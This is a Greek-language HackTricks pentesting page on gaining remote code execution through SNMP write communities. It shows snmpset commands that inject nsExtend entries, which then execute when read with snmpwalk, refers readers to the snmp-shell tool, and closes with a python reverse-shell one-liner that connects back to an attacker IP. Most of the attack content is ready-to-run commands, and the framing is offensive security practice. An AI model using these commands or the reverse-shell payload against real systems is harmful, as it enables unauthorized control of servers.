tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
SNMP RCE
Το SNMP μπορεί να εκμεταλλευτεί από έναν επιτιθέμενο αν ο διαχειριστής παραβλέψει την προεπιλεγμένη ρύθμιση του στη συσκευή ή τον διακομιστή. Με την κατάχρηση της κοινότητας SNMP με δικαιώματα εγγραφής (rwcommunity) σε ένα λειτουργικό σύστημα Linux, ο επιτιθέμενος μπορεί να εκτελέσει εντολές στον διακομιστή.
Επέκταση Υπηρεσιών με Πρόσθετες Εντολές
Για να επεκταθούν οι υπηρεσίες SNMP και να προστεθούν επιπλέον εντολές, είναι δυνατόν να προστεθούν νέες γραμμές στον πίνακα "nsExtendObjects". Αυτό μπορεί να επιτευχθεί χρησιμοποιώντας την εντολή snmpset
και παρέχοντας τις απαραίτητες παραμέτρους, συμπεριλαμβανομένης της απόλυτης διαδρομής προς το εκτελέσιμο και την εντολή που θα εκτελεστεί:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Εισαγωγή Εντολών για Εκτέλεση
Η εισαγωγή εντολών για εκτέλεση στην υπηρεσία SNMP απαιτεί την ύπαρξη και εκτελεσιμότητα του καλούμενου δυαδικού/σεναρίου. Το NET-SNMP-EXTEND-MIB
απαιτεί την παροχή της απόλυτης διαδρομής προς το εκτελέσιμο.
Για να επιβεβαιωθεί η εκτέλεση της εισαγόμενης εντολής, μπορεί να χρησιμοποιηθεί η εντολή snmpwalk
για την καταμέτρηση της υπηρεσίας SNMP. Η έξοδος θα εμφανίσει την εντολή και τις σχετικές λεπτομέρειες της, συμπεριλαμβανομένης της απόλυτης διαδρομής:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Εκτέλεση των Εισαγόμενων Εντολών
Όταν η εισαγόμενη εντολή διαβαστεί, εκτελείται. Αυτή η συμπεριφορά είναι γνωστή ως run-on-read()
. Η εκτέλεση της εντολής μπορεί να παρατηρηθεί κατά τη διάρκεια της ανάγνωσης snmpwalk.
Απόκτηση Shell Διακομιστή με SNMP
Για να αποκτήσετε έλεγχο πάνω στον διακομιστή και να αποκτήσετε ένα shell διακομιστή, μπορείτε να χρησιμοποιήσετε ένα σενάριο python που έχει αναπτυχθεί από τον mxrch από https://github.com/mxrch/snmp-shell.git.
Εναλλακτικά, μπορείτε να δημιουργήσετε χειροκίνητα ένα reverse shell εισάγοντας μια συγκεκριμένη εντολή στο SNMP. Αυτή η εντολή, που ενεργοποιείται από το snmpwalk, δημιουργεί μια σύνδεση reverse shell με τη μηχανή του επιτιθέμενου, επιτρέποντας τον έλεγχο της μηχανής του θύματος. Μπορείτε να εγκαταστήσετε τις προϋποθέσεις για να το εκτελέσετε:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Ή μια αντίστροφη θήκη:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.